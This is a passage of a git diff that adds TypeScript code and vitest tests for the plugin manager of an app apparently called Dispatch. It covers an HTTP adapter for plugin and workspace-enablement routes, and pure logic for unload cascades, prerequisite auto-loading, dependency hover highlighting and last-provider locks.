+ const fetch2 = stubFetch(() => ({ ok: false, status: 503 }) as unknown as Response);
+ await expect(createPluginsHttp("http://x", fetch2).workspacePlugins("ws")).resolves.toBeNull();
+ });
+
+ it("PUT /workspaces/:id/plugins/:pluginId sends the state body", async () => {
+ let seenUrl = "";
+ let seenBody: string | undefined;
+ const fetch1 = stubFetch((url, init) => {
+ seenUrl = url;
+ seenBody = init?.body as string;
+ return okJson({ workspaceId: "ws", pluginId: "mcp", state: "enabled" });
+ });
+ const http = createPluginsHttp("http://x", fetch1);
+ const result = await http.setWorkspaceState("ws", "mcp", "enabled");
+ expect(result.ok).toBe(true);
+ expect(seenUrl).toBe("http://x/workspaces/ws/plugins/mcp");
+ expect(JSON.parse(seenBody ?? "{}")).toEqual({ state: "enabled" });
+ });
+
+ it("maps a 409 refusal (core-locked) to ok:false with the reason", async () => {
+ const fetch1 = stubFetch(
+ () =>
+ ({
+ ok: false,
+ status: 409,
+ json: async () => ({
+ workspaceId: "ws",
+ pluginId: "kernel",
+ reason: "core-locked",
+ message: "core is locked",
+ }),
+ }) as unknown as Response,
+ );
+ const http = createPluginsHttp("http://x", fetch1);
+ const result = await http.setWorkspaceState("ws", "kernel", "disabled");
+ expect(result).toEqual({ ok: false, error: "core is locked", reason: "core-locked" });
+ });
+
+ it("GET providers-status returns the parsed response", async () => {
+ let seenUrl = "";
+ const fetch1 = stubFetch((url) => {
+ seenUrl = url;
+ return okJson({ workspaceId: "ws", enabledProviderCount: 0 });
+ });
+ const http = createPluginsHttp("http://x", fetch1);
+ await expect(http.providersStatus("ws")).resolves.toEqual({
+ workspaceId: "ws",
+ enabledProviderCount: 0,
+ });
+ expect(seenUrl).toBe("http://x/workspaces/ws/plugins/providers-status");
+ });
+
+ it("network throws degrade reads to null and mutations to ok:false", async () => {
+ const boom = vi.fn(async () => {
+ throw new Error("down");
+ }) as unknown as typeof fetch;
+ const http = createPluginsHttp("http://x", boom);
+ await expect(http.list()).resolves.toBeNull();
+ await expect(http.providersStatus("ws")).resolves.toBeNull();
+ await expect(http.setWorkspaceState("ws", "mcp", "enabled")).resolves.toMatchObject({
+ ok: false,
+ });
+ });
+});
diff --git a/src/features/plugins/adapter/http.ts b/src/features/plugins/adapter/http.ts
new file mode 100644
index 0000000..7814f4f
--- /dev/null
+++ b/src/features/plugins/adapter/http.ts
@@ -0,0 +1,230 @@
+import type {
+ PluginListResponse,
+ PluginOpResponse,
+ PluginScanResponse,
+ SetWorkspacePluginStateBlocked,
+ SetWorkspacePluginStateRequest,
+ SetWorkspacePluginStateResponse,
+ WorkspacePluginProvidersStatusResponse,
+ WorkspacePluginsResponse,
+} from "@dispatch/transport-contract";
+
+/**
+ * Plugin HTTP effects — the injected edge that talks to the backend's plugin
+ * manager routes (plan 05) + per-workspace enablement routes (plan 06 §6.6).
+ * Mirrors the workspaces adapter's pattern: `httpBase` + an injected
+ * `fetchImpl` (testable without the network); reads return data or a safe
+ * `null` on failure (non-fatal), mutations return a typed result so a caller
+ * can surface the backend's `{ reason, message }` block.
+ *
+ * Endpoints:
+ * - `GET /plugins` → {@link PluginListResponse} (the two manager tables + missing strip)
+ * - `POST /plugins/scan` → {@link PluginScanResponse} (manual scan; never auto-loads)
+ * - `POST /plugins/:id/load` → {@link PluginOpResponse}
+ * - `POST /plugins/:id/unload` body `{ force }` → {@link PluginOpResponse}
+ * - `POST /plugins/:id/reload` → {@link PluginOpResponse}
+ * - `GET /workspaces/:id/plugins` → {@link WorkspacePluginsResponse} (READ triggers
+ * read-through materialization)
+ * - `PUT /workspaces/:id/plugins/:pluginId` body `{ state }` →
+ * {@link SetWorkspacePluginStateResponse} (409 `core-locked` / `unloaded`)
+ * - `GET /workspaces/:id/plugins/providers-status` →
+ * {@link WorkspacePluginProvidersStatusResponse} (zero-enabled-providers guardrail)
+ */
+
+/** Outcome of a plugin-manager mutation (load / unload / reload). */
+export type PluginOpResult =
+ | { readonly ok: true; readonly response: Extract<PluginOpResponse, { ok: true }> }
+ | {
+ readonly ok: false;
+ readonly error: string;
+ readonly reason?: string;
+ /** For `cascade-needs-force`: the loaded dependents a force would remove. */
+ readonly dependents?: readonly string[];
+ };
+
+/** Outcome of a per-workspace state write (`PUT .../plugins/:pluginId`). */
+export type WorkspaceStateResult =
+ | { readonly ok: true; readonly response: SetWorkspacePluginStateResponse }
+ | { readonly ok: false; readonly error: string; readonly reason?: string };
+
+/** Outcome of the manual scan (`POST /plugins/scan`). */
+export type PluginScanResult =
+ | { readonly ok: true; readonly response: PluginScanResponse }
+ | { readonly ok: false; readonly error: string };
+
+export interface PluginsHttp {
+ list(): Promise<PluginListResponse | null>;
+ scan(): Promise<PluginScanResult>;
+ load(id: string): Promise<PluginOpResult>;
+ unload(id: string, force: boolean): Promise<PluginOpResult>;
+ reload(id: string): Promise<PluginOpResult>;
+ /** Read one workspace's effective plugin states (triggers materialization). */
+ workspacePlugins(workspaceId: string): Promise<WorkspacePluginsResponse | null>;
+ setWorkspaceState(
+ workspaceId: string,
+ pluginId: string,
+ state: "enabled" | "disabled" | "unset",
+ ): Promise<WorkspaceStateResult>;
+ /** The zero-enabled-providers signal for the active workspace (§6.5). */
+ providersStatus(workspaceId: string): Promise<WorkspacePluginProvidersStatusResponse | null>;
+}
+
+async function errorBody(res: Response): Promise<{
+ error?: string;
+ reason?: string;
+ dependents?: readonly string[];
+ message?: string;
+}> {
+ try {
+ return (await res.json()) as {
+ error?: string;
+ reason?: string;
+ dependents?: readonly string[];
+ message?: string;
+ };
+ } catch {
+ return {};
+ }
+}
+
+/**
+ * Map a plugin-manager block/error response to a `PluginOpResult`. The
+ * backend's blocked shape is `{ ok: false, reason, message, dependents? }`;
+ * other failures degrade to `{ error }` only.
+ */
+async function opResult(res: Response): Promise<PluginOpResult> {
+ const body = await errorBody(res);
+ const message = body.message ?? body.error ?? `HTTP ${res.status}`;
+ return {
+ ok: false,
+ error: message,
+ ...(body.reason !== undefined ? { reason: body.reason } : {}),
+ ...(body.dependents !== undefined ? { dependents: body.dependents } : {}),
+ };
+}
+
+export function createPluginsHttp(httpBase: string, fetchImpl: typeof fetch): PluginsHttp {
+ const post = (path: string, body?: unknown): Promise<Response> =>
+ fetchImpl(`${httpBase}${path}`, {
+ method: "POST",
+ ...(body !== undefined
+ ? { headers: { "Content-Type": "application/json" }, body: JSON.stringify(body) }
+ : {}),
+ });
+
+ return {
+ async list(): Promise<PluginListResponse | null> {
+ try {
+ const res = await fetchImpl(`${httpBase}/plugins`);
+ if (!res.ok) return null;
+ return (await res.json()) as PluginListResponse;
+ } catch {
+ return null;
+ }
+ },
+
+ async scan(): Promise<PluginScanResult> {
+ try {
+ const res = await post("/plugins/scan");
+ if (!res.ok)
+ return { ok: false, error: (await errorBody(res)).error ?? `HTTP ${res.status}` };
+ return { ok: true, response: (await res.json()) as PluginScanResponse };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : "Scan request failed" };
+ }
+ },
+
+ async load(id): Promise<PluginOpResult> {
+ try {
+ const res = await post(`/plugins/${encodeURIComponent(id)}/load`);
+ if (!res.ok) return await opResult(res);
+ return {
+ ok: true,
+ response: (await res.json()) as Extract<PluginOpResponse, { ok: true }>,
+ };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : "Load request failed" };
+ }
+ },
+
+ async unload(id, force): Promise<PluginOpResult> {
+ try {
+ const res = await post(`/plugins/${encodeURIComponent(id)}/unload`, { force });
+ if (!res.ok) return await opResult(res);
+ return {
+ ok: true,
+ response: (await res.json()) as Extract<PluginOpResponse, { ok: true }>,
+ };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : "Unload request failed" };
+ }
+ },
+
+ async reload(id): Promise<PluginOpResult> {
+ try {
+ const res = await post(`/plugins/${encodeURIComponent(id)}/reload`);
+ if (!res.ok) return await opResult(res);
+ return {
+ ok: true,
+ response: (await res.json()) as Extract<PluginOpResponse, { ok: true }>,
+ };
+ } catch (err) {
+ return { ok: false, error: err instanceof Error ? err.message : "Reload request failed" };
+ }
+ },
+
+ async workspacePlugins(workspaceId): Promise<WorkspacePluginsResponse | null> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(workspaceId)}/plugins`,
+ );
+ if (!res.ok) return null;
+ return (await res.json()) as WorkspacePluginsResponse;
+ } catch {
+ return null;
+ }
+ },
+
+ async setWorkspaceState(workspaceId, pluginId, state): Promise<WorkspaceStateResult> {
+ const body: SetWorkspacePluginStateRequest = { state };
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(workspaceId)}/plugins/${encodeURIComponent(pluginId)}`,
+ {
+ method: "PUT",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify(body),
+ },
+ );
+ if (!res.ok) {
+ const blocked = (await errorBody(res)) as Partial<SetWorkspacePluginStateBlocked> & {
+ error?: string;
+ };
+ return {
+ ok: false,
+ error: blocked.message ?? blocked.error ?? `HTTP ${res.status}`,
+ ...(blocked.reason !== undefined ? { reason: blocked.reason } : {}),
+ };
+ }
+ return { ok: true, response: (await res.json()) as SetWorkspacePluginStateResponse };
+ } catch (err) {
+ return {
+ ok: false,
+ error: err instanceof Error ? err.message : "Set plugin state request failed",
+ };
+ }
+ },
+
+ async providersStatus(workspaceId): Promise<WorkspacePluginProvidersStatusResponse | null> {
+ try {
+ const res = await fetchImpl(
+ `${httpBase}/workspaces/${encodeURIComponent(workspaceId)}/plugins/providers-status`,
+ );
+ if (!res.ok) return null;
+ return (await res.json()) as WorkspacePluginProvidersStatusResponse;
+ } catch {
+ return null;
+ }
+ },
+ };
+}
diff --git a/src/features/plugins/index.ts b/src/features/plugins/index.ts
new file mode 100644
index 0000000..f79ed98
--- /dev/null
+++ b/src/features/plugins/index.ts
@@ -0,0 +1,24 @@
+export type {
+ PluginOpResult,
+ PluginScanResult,
+ PluginsHttp,
+ WorkspaceStateResult,
+} from "./adapter/http";
+export { createPluginsHttp } from "./adapter/http";
+export { computeCascade } from "./logic/cascade";
+export type { HighlightSets } from "./logic/highlight";
+export { dependencyHighlightSets } from "./logic/highlight";
+export { isLastProvider, unloadBlockReason } from "./logic/last-provider";
+export { autoCheckBackendPrereqs } from "./logic/prereqs";
+export type {
+ PluginNode,
+ PluginSection,
+ WorkspaceLayoutPort,
+} from "./logic/types";
+export { TIER_ORDER, tierLabel } from "./logic/types";
+export { groupByTier, pluginNodes, splitSections, withFrontendStates } from "./logic/view-model";
+export { rowBlockReason, rowChecked, rowSelectable, stateLabel } from "./logic/workspace-row";
+export type { PluginsStore, WorkspacePluginsView } from "./store.svelte";
+export { createPluginsStore } from "./store.svelte";
+export { default as PluginManager } from "./ui/PluginManager.svelte";
+export { default as WorkspacePluginModal } from "./ui/WorkspacePluginModal.svelte";
diff --git a/src/features/plugins/logic/cascade.test.ts b/src/features/plugins/logic/cascade.test.ts
new file mode 100644
index 0000000..109c08b
--- /dev/null
+++ b/src/features/plugins/logic/cascade.test.ts
@@ -0,0 +1,66 @@
+import { describe, expect, it } from "vitest";
+import { computeCascade } from "./cascade";
+import { node } from "./test-fixtures";
+
+describe("computeCascade", () => {
+ it("returns [] when the target has no dependents", () => {
+ const nodes = [node({ id: "a" }), node({ id: "b" })];
+ expect(computeCascade("a", nodes)).toEqual([]);
+ });
+
+ it("returns the direct loaded dependents", () => {
+ const nodes = [
+ node({ id: "heartbeat" }),
+ node({ id: "transport-http", dependsOn: ["heartbeat"] }),
+ ];
+ expect(computeCascade("heartbeat", nodes)).toEqual(["transport-http"]);
+ });
+
+ it("is transitive (dependent of dependent)", () => {
+ const nodes = [
+ node({ id: "a" }),
+ node({ id: "b", dependsOn: ["a"] }),
+ node({ id: "c", dependsOn: ["b"] }),
+ ];
+ expect(computeCascade("a", nodes)).toEqual(["b", "c"]);
+ });
+
+ it("does NOT traverse through an UNLOADED intermediate (loaded-subgraph closure — server mirror)", () => {
+ // c depends on b, b is unloaded: unloading a cascades to b only (b is not
+ // collected — unloaded) and does NOT reach c (its dep chain is already unmet).
+ const nodes = [
+ node({ id: "a" }),
+ node({ id: "b", loaded: false, section: "discovered", dependsOn: ["a"] }),
+ node({ id: "c", dependsOn: ["b"] }),
+ ];
+ expect(computeCascade("a", nodes)).toEqual([]);
+ });
+
+ it("ignores plugins that merely share a dependency (direction matters)", () => {
+ const nodes = [node({ id: "dep" }), node({ id: "x", dependsOn: ["dep"] })];
+ expect(computeCascade("x", nodes)).toEqual([]);
+ });
+
+ it("handles diamond dependencies without duplicates", () => {
+ const nodes = [
+ node({ id: "root" }),
+ node({ id: "left", dependsOn: ["root"] }),
+ node({ id: "right", dependsOn: ["root"] }),
+ node({ id: "bottom", dependsOn: ["left", "right"] }),
+ ];
+ expect(computeCascade("root", nodes)).toEqual(["bottom", "left", "right"]);
+ });
+
+ it("returns [] for a target that is not in the list", () => {
+ expect(computeCascade("ghost", [node({ id: "a" })])).toEqual([]);
+ });
+
+ it("is deterministic (alphabetical order)", () => {
+ const nodes = [
+ node({ id: "root" }),
+ node({ id: "zeta", dependsOn: ["root"] }),
+ node({ id: "alpha", dependsOn: ["root"] }),
+ ];
+ expect(computeCascade("root", nodes)).toEqual(["alpha", "zeta"]);
+ });
+});
diff --git a/src/features/plugins/logic/cascade.ts b/src/features/plugins/logic/cascade.ts
new file mode 100644
index 0000000..0cc6834
--- /dev/null
+++ b/src/features/plugins/logic/cascade.ts
@@ -0,0 +1,42 @@
+import type { PluginNode } from "./types";
+
+/**
+ * The transitive set of LOADED dependents that would also be unloaded if
+ * `targetId` were unloaded — the §8 cascade-uncheck warning's list ("unloading
+ * X also unchecks Y, Z"). Client mirror of the backend's
+ * `computeUnloadCascade` (plan 05): the reverse-dependency closure computed
+ * over the LOADED subgraph only (an unloaded intermediate breaks the chain —
+ * a loaded dependent behind it is already unmet and is not part of THIS
+ * cascade). The server still enforces the real cascade; the FE computes the
+ * same set to warn before the request goes out.
+ *
+ * Pure input → output; deterministic order (alphabetical by id) so tests and
+ * renderings are stable.
+ */
+export function computeCascade(targetId: string, nodes: readonly PluginNode[]): readonly string[] {
+ // Reverse edges within the loaded subgraph: dep id → loaded dependent ids.
+ const dependentsOf = new Map<string, string[]>();
+ for (const node of nodes) {
+ if (!node.loaded) continue;
+ for (const dep of node.dependsOn) {
+ const list = dependentsOf.get(dep);
+ if (list) list.push(node.id);
+ else dependentsOf.set(dep, [node.id]);
+ }
+ }
+
+ // BFS over reverse edges, collecting every reached loaded dependent.
+ const out: string[] = [];
+ const seen = new Set<string>([targetId]);
+ const queue = [targetId];
+ while (queue.length > 0) {
+ const current = queue.shift() as string;
+ for (const dependent of dependentsOf.get(current) ?? []) {
+ if (seen.has(dependent)) continue;
+ seen.add(dependent);
+ out.push(dependent);
+ queue.push(dependent);
+ }
+ }
+ return out.sort((a, b) => a.localeCompare(b));
+}
diff --git a/src/features/plugins/logic/highlight.test.ts b/src/features/plugins/logic/highlight.test.ts
new file mode 100644
index 0000000..616f7ad
--- /dev/null
+++ b/src/features/plugins/logic/highlight.test.ts
@@ -0,0 +1,60 @@
+import { describe, expect, it } from "vitest";
+import { dependencyHighlightSets } from "./highlight";
+import { node } from "./test-fixtures";
+
+describe("dependencyHighlightSets", () => {
+ const nodes = [
+ node({ id: "lib", loaded: false, section: "discovered" }),
+ node({ id: "mid", dependsOn: ["lib"] }),
+ node({ id: "app", dependsOn: ["mid", "lib"] }),
+ ];
+
+ it("returns empty sets for no hover", () => {
+ const sets = dependencyHighlightSets(null, nodes);
+ expect(sets.deps.size).toBe(0);
+ expect(sets.dependents.size).toBe(0);
+ });
+
+ it("hovering an item highlights its DIRECT dependencies (one hop)", () => {
+ const sets = dependencyHighlightSets("app", nodes);
+ expect(sets.deps).toEqual(new Set(["mid", "lib"]));
+ expect(sets.dependents.size).toBe(0);
+ });
+
+ it("hovering a dependency highlights its dependents (both directions work)", () => {
+ const sets = dependencyHighlightSets("lib", nodes);
+ expect(sets.deps.size).toBe(0);
+ expect(sets.dependents).toEqual(new Set(["mid", "app"]));
+ });
+
+ it("hovering a middle node highlights BOTH directions", () => {
+ const sets = dependencyHighlightSets("mid", nodes);
+ expect(sets.deps).toEqual(new Set(["lib"]));
+ expect(sets.dependents).toEqual(new Set(["app"]));
+ });
+
+ it("is one hop — not the transitive closure", () => {
+ // app → mid → lib: hovering app highlights mid + lib (both direct deps),
+ // but hovering lib highlights only DIRECT dependents (mid, app) — already
+ // one hop. The one-hop rule shows in: a plugin two hops away via an
+ // unrelated chain is not highlighted.
+ const chain = [
+ node({ id: "a" }),
+ node({ id: "b", dependsOn: ["a"] }),
+ node({ id: "c", dependsOn: ["b"] }),
+ ];
+ expect(dependencyHighlightSets("c", chain).deps).toEqual(new Set(["b"]));
+ });
+
+ it("returns empty sets for an unknown hovered id", () => {
+ const sets = dependencyHighlightSets("ghost", nodes);
+ expect(sets.deps.size).toBe(0);
+ expect(sets.dependents.size).toBe(0);
+ });
+
+ it("works across sections (a loaded row highlights an unloaded dependency)", () => {
+ // `app` loaded, `lib` discovered: hovering app still highlights lib.
+ const sets = dependencyHighlightSets("app", nodes);
+ expect(sets.deps.has("lib")).toBe(true);
+ });
+});
diff --git a/src/features/plugins/logic/highlight.ts b/src/features/plugins/logic/highlight.ts
new file mode 100644
index 0000000..1bcfaad
--- /dev/null
+++ b/src/features/plugins/logic/highlight.ts
@@ -0,0 +1,37 @@
+import type { PluginNode } from "./types";
+
+/** The two highlight sets for the §8 bidirectional dependency hover. */
+export interface HighlightSets {
+ /** The hovered row's DIRECT dependencies (highlighted when hovering an item). */
+ readonly deps: ReadonlySet<string>;
+ /** The loaded/unloaded rows that DIRECTLY depend on the hovered row
+ * (highlighted when hovering a dependency). */
+ readonly dependents: ReadonlySet<string>;
+}
+
+const EMPTY: HighlightSets = { deps: new Set(), dependents: new Set() };
+
+/**
+ * Bidirectional hover highlighting (§8): hover any item → its DIRECT
+ * dependencies highlight; hover a dependency → its dependents highlight.
+ * One hop in each direction (the plan's grammar is "its dependencies" /
+ * "its dependents" — the visual neighborhood, not the transitive closure;
+ * the transitive closures live in `computeCascade` / `autoCheckBackendPrereqs`).
+ *
+ * Works across BOTH manager tables (a loaded row can highlight an unloaded
+ * dependency row and vice versa) — the node list spans the whole catalog.
+ * Pure input → output; `hoveredId` null (no hover) → both sets empty.
+ */
+export function dependencyHighlightSets(
+ hoveredId: string | null,
+ nodes: readonly PluginNode[],
+): HighlightSets {
+ if (hoveredId === null) return EMPTY;
+ const hovered = nodes.find((n) => n.id === hoveredId);
+ if (hovered === undefined) return EMPTY;
+ const deps = new Set(hovered.dependsOn);
+ const dependents = new Set(
+ nodes.filter((n) => n.id !== hoveredId && n.dependsOn.includes(hoveredId)).map((n) => n.id),
+ );
+ return { deps, dependents };
+}
diff --git a/src/features/plugins/logic/last-provider.test.ts b/src/features/plugins/logic/last-provider.test.ts
new file mode 100644
index 0000000..f85ba89
--- /dev/null
+++ b/src/features/plugins/logic/last-provider.test.ts
@@ -0,0 +1,70 @@
+import { describe, expect, it } from "vitest";
+import { isLastProvider, unloadBlockReason } from "./last-provider";
+import { node } from "./test-fixtures";
+
+describe("isLastProvider", () => {
+ it("is true for a loaded provider when it is the only one", () => {
+ const nodes = [node({ id: "opencode", tier: "providers" })];
+ expect(isLastProvider("opencode", nodes)).toBe(true);
+ });
+
+ it("is false for a loaded provider when another provider is loaded", () => {
+ const nodes = [
+ node({ id: "opencode", tier: "providers" }),
+ node({ id: "kimi", tier: "providers" }),
+ ];
+ expect(isLastProvider("opencode", nodes)).toBe(false);
+ });
+
+ it("is false for a non-provider target (even when alone)", () => {
+ const nodes = [node({ id: "solo", tier: "standard" })];
+ expect(isLastProvider("solo", nodes)).toBe(false);
+ });
+
+ it("is false for an UNLOADED provider", () => {
+ const nodes = [node({ id: "opencode", tier: "providers", loaded: false })];
+ expect(isLastProvider("opencode", nodes)).toBe(false);
+ });
+
+ it("is false for an unknown id", () => {
+ expect(isLastProvider("ghost", [])).toBe(false);
+ });
+
+ it("is false for a core-only list (no providers at all)", () => {
+ const nodes = [node({ id: "kernel", tier: "core", locked: true })];
+ expect(isLastProvider("kernel", nodes)).toBe(false);
+ });
+});
+
+describe("unloadBlockReason", () => {
+ it("explains the core lock", () => {
+ const nodes = [node({ id: "kernel", tier: "core", locked: true })];
+ const reason = unloadBlockReason("kernel", nodes);
+ expect(reason).toContain("Core plugins cannot be unloaded");
+ });
+
+ it("explains the last-provider lock", () => {
+ const nodes = [node({ id: "opencode", tier: "providers" })];
+ const reason = unloadBlockReason("opencode", nodes);
+ expect(reason).toContain("last provider");
+ });
+
+ it("is null for an interactive row", () => {
+ const nodes = [
+ node({ id: "opencode", tier: "providers" }),
+ node({ id: "kimi", tier: "providers" }),
+ node({ id: "app" }),
+ ];
+ expect(unloadBlockReason("app", nodes)).toBeNull();
+ expect(unloadBlockReason("opencode", nodes)).toBeNull();
+ });
+
+ it("prefers the core lock when both would apply", () => {
+ const nodes = [node({ id: "kernel", tier: "core", locked: true })];
+ expect(unloadBlockReason("kernel", nodes)).toContain("Core");
+ });
+
+ it("is null for an unknown id", () => {
+ expect(unloadBlockReason("ghost", [])).toBeNull();
+ });
+});
diff --git a/src/features/plugins/logic/last-provider.ts b/src/features/plugins/logic/last-provider.ts
new file mode 100644
index 0000000..279df4d
--- /dev/null
+++ b/src/features/plugins/logic/last-provider.ts
@@ -0,0 +1,31 @@
+import type { PluginNode } from "./types";
+
+/**
+ * Whether unloading `targetId` would remove the LAST loaded provider — the
+ * §8 hard lock (the one unload the server refuses outright, never force-able).
+ * The UI disables the control with an explanatory tooltip; the server still
+ * enforces the rule. Pure input → output.
+ */
+export function isLastProvider(targetId: string, nodes: readonly PluginNode[]): boolean {
+ const target = nodes.find((n) => n.id === targetId);
+ if (target === undefined || !target.loaded || target.tier !== "providers") return false;
+ const loadedProviders = nodes.filter((n) => n.loaded && n.tier === "providers");
+ return loadedProviders.length <= 1;
+}
+
+/**
+ * Why the row's load/unload control is disabled, or null when it is
+ * interactive. Composes the two client-mirrored locks:
+ * - tier "core" (`locked`) → the server refuses to unload it (§3/§5);
+ * - the last loaded provider → the §8 hard lock.
+ * Missing rows have no control at all (handled separately by the UI).
+ */
+export function unloadBlockReason(targetId: string, nodes: readonly PluginNode[]): string | null {
+ const target = nodes.find((n) => n.id === targetId);
+ if (target === undefined) return null;
+ if (target.locked) return "Core plugins cannot be unloaded — they are part of the runtime.";
+ if (isLastProvider(targetId, nodes)) {
+ return "Cannot unload the last provider — Dispatch needs at least one to pick models.";
+ }
+ return null;
+}
diff --git a/src/features/plugins/logic/prereqs.test.ts b/src/features/plugins/logic/prereqs.test.ts
new file mode 100644
index 0000000..704399c
--- /dev/null
+++ b/src/features/plugins/logic/prereqs.test.ts
@@ -0,0 +1,58 @@
+import { describe, expect, it } from "vitest";
+import { autoCheckBackendPrereqs } from "./prereqs";
+import { node } from "./test-fixtures";
+
+describe("autoCheckBackendPrereqs", () => {
+ it("returns [] when all dependencies are already loaded", () => {
+ const nodes = [node({ id: "dep" }), node({ id: "app", dependsOn: ["dep"] })];
+ expect(autoCheckBackendPrereqs("app", nodes)).toEqual([]);
+ });
+
+ it("returns the unloaded direct dependencies (to auto-check)", () => {
+ const nodes = [
+ node({ id: "dep", loaded: false, section: "discovered" }),
+ node({ id: "other", loaded: false, section: "discovered" }),
+ node({ id: "loaded-dep" }),
+ node({ id: "app", dependsOn: ["dep", "other", "loaded-dep"] }),
+ ];
+ // Only the UNLOADED deps are returned (loaded-dep needs no auto-check).
+ expect(autoCheckBackendPrereqs("app", nodes)).toEqual(["dep", "other"]);
+ });
+
+ it("is transitive (dep of a dep)", () => {
+ const nodes = [
+ node({ id: "base", loaded: false, section: "discovered" }),
+ node({ id: "mid", loaded: false, section: "discovered", dependsOn: ["base"] }),
+ node({ id: "app", dependsOn: ["mid"] }),
+ ];
+ // Load order: dependencies BEFORE their dependents.
+ expect(autoCheckBackendPrereqs("app", nodes)).toEqual(["mid", "base"]);
+ });
+
+ it("is one-directional: it never pulls DEPENDENTS in (no reverse traversal)", () => {
+ // Checking `dep` must not auto-check `app` (app depends on dep, not vice versa).
+ const nodes = [
+ node({ id: "dep", loaded: false, section: "discovered" }),
+ node({ id: "app", dependsOn: ["dep"] }),
+ ];
+ expect(autoCheckBackendPrereqs("dep", nodes)).toEqual([]);
+ });
+
+ it("excludes the target itself and skips already-seen nodes (diamond)", () => {
+ const nodes = [
+ node({ id: "base", loaded: false, section: "discovered" }),
+ node({ id: "left", loaded: false, section: "discovered", dependsOn: ["base"] }),
+ node({ id: "right", loaded: false, section: "discovered", dependsOn: ["base"] }),
+ node({ id: "app", dependsOn: ["left", "right"] }),
+ ];
+ expect(autoCheckBackendPrereqs("app", nodes)).toEqual(["left", "right", "base"]);
+ });
+
+ it("returns [] for an unknown target", () => {
+ expect(autoCheckBackendPrereqs("ghost", [node({ id: "a" })])).toEqual([]);
+ });
+
+ it("returns [] for a target with no dependencies", () => {
+ expect(autoCheckBackendPrereqs("app", [node({ id: "app" })])).toEqual([]);
+ });
+});
diff --git a/src/features/plugins/logic/prereqs.ts b/src/features/plugins/logic/prereqs.ts
new file mode 100644
index 0000000..9066413
--- /dev/null
+++ b/src/features/plugins/logic/prereqs.ts
@@ -0,0 +1,45 @@
+import type { PluginNode } from "./types";
+
+/**
+ * When CHECKING (loading) `targetId`, the transitive set of its dependencies
+ * that are NOT currently loaded — the plugins that must be auto-checked
+ * (loaded) first (§8: "Checking a frontend plugin auto-checks its required
+ * backend plugins (transitively)").
+ *
+ * One-directional by construction: only `dependsOn` edges FROM the target are
+ * followed (frontend→backend / backend→backend). The reverse direction is
+ * NEVER traversed here — backend plugins never depend on frontend ones (§8),
+ * so a dependency auto-check never pulls the other way.
+ *
+ * Returns the ids in deterministic load order (dependencies before their
+ * dependents — alphabetical within a level) so the caller can issue the load
+ * requests in a safe sequence. Pure input → output.
+ */
+export function autoCheckBackendPrereqs(
+ targetId: string,
+ nodes: readonly PluginNode[],
+): readonly string[] {
+ const byId = new Map(nodes.map((n) => [n.id, n]));
+
+ // BFS over dependency edges (target → deps), collecting UNLOADED deps.
+ const out: string[] = [];
+ const seen = new Set<string>([targetId]);
+ // Queue of [id, depth] — sorted per level so ties resolve alphabetically.
+ let frontier: string[] = [targetId];
+ while (frontier.length > 0) {
+ const next: string[] = [];
+ for (const id of frontier) {
+ const node = byId.get(id);
+ for (const dep of node?.dependsOn ?? []) {
+ if (seen.has(dep)) continue;
+ seen.add(dep);
+ next.push(dep);
+ if (!byId.get(dep)?.loaded) out.push(dep);
+ }
+ }
+ frontier = next.sort((a, b) => a.localeCompare(b));
+ }
+ // Load order: dependencies before dependents (BFS level order already is),
+ // alphabetical within a level.
+ return out;
+}
diff --git a/src/features/plugins/logic/test-fixtures.ts b/src/features/plugins/logic/test-fixtures.ts
new file mode 100644
index 0000000..e7b3f5d
--- /dev/null
+++ b/src/features/plugins/logic/test-fixtures.ts
@@ -0,0 +1,30 @@
+import type { PluginListResponse } from "@dispatch/transport-contract";
+import type { PluginNode } from "./types";
+import { pluginNodes } from "./view-model";
+
+/**
+ * Build a PluginNode directly (the graph-logic tests' fixture). Defaults:
+ * loaded, standard tier, no deps.
+ */
+export function node(overrides: Partial<PluginNode> = {}): PluginNode {
+ return {
+ id: "p",
+ name: "p",
+ version: "1.0.0",
+ tier: "standard",
+ trust: "bundled",
+ loaded: true,
+ locked: false,
+ dependsOn: [],
+ reason: null,
+ section: "loaded",
+ ...overrides,
+ };
+}
+
+/** An empty `GET /plugins` response. */
+export function emptyListResponse(): PluginListResponse {
+ return { loaded: [], disabledWithReason: [], discovered: [], missing: [] };
+}
+
+export { pluginNodes };
diff --git a/src/features/plugins/logic/types.ts b/src/features/plugins/logic/types.ts
new file mode 100644
index 0000000..e64b553
--- /dev/null
+++ b/src/features/plugins/logic/types.ts
@@ -0,0 +1,99 @@
+import type { PluginTier, PluginTrustLevel } from "@dispatch/transport-contract";
+
+/** Which manager table a plugin row belongs to (the response's row kinds). */
+export type PluginSection = "loaded" | "discovered" | "missing";
+
+/**
+ * The manager's normalized view of one plugin — a single shape across the
+ * `GET /plugins` response's row kinds (loaded / disabledWithReason /
+ * discovered / missing) so the pure graph logic (cascade / prereqs /
+ * highlight / last-provider) and the manager tables work over ONE node type.
+ * Built by `pluginNodes` (`logic/view-model`) from a `PluginListResponse`.
+ */
+export interface PluginNode {
+ readonly id: string;
+ readonly name: string;
+ readonly version: string;
+ readonly tier: PluginTier;
+ /** Trust level, when the row carries one (missing rows don't). */
+ readonly trust: PluginTrustLevel | null;
+ /** Loaded and live — the manager's checkbox reflects this. */
+ readonly loaded: boolean;
+ /** True for tier "core" — the server refuses to unload it (locked control). */
+ readonly locked: boolean;
+ /** Declared dependencies (plugin ids), possibly empty. */
+ readonly dependsOn: readonly string[];
+ /** Why the plugin is not loaded (disabled-with-reason) or gone (missing). */
+ readonly reason: string | null;
+ /**
+ * The frontend-plugin (plan 03) issue line for the manager row, when the
+ * plugin's FE half is incompatible ("incompatible frontend plugin") or
+ * failed (`frontend failed: <error>`). Absent = the FE half is fine (or
+ * the plugin declares no frontend section).
+ */
+ readonly frontendIssue?: string;
+ readonly section: PluginSection;
+}
+
+/** Display labels for the classification tiers (backend-canonical values). */
+export function tierLabel(tier: PluginTier): string {
+ switch (tier) {
+ case "core":
+ return "Core";
+ case "providers":
+ return "Provider";
+ case "standard":
+ return "Standard";
+ }
+}
+
+/** Display order of the tiers within a manager table (Core first). */
+export const TIER_ORDER: readonly PluginTier[] = ["core", "providers", "standard"];
+
+/**
+ * The layout port (plan 04 §4.4) the workspace plugins modal needs for the
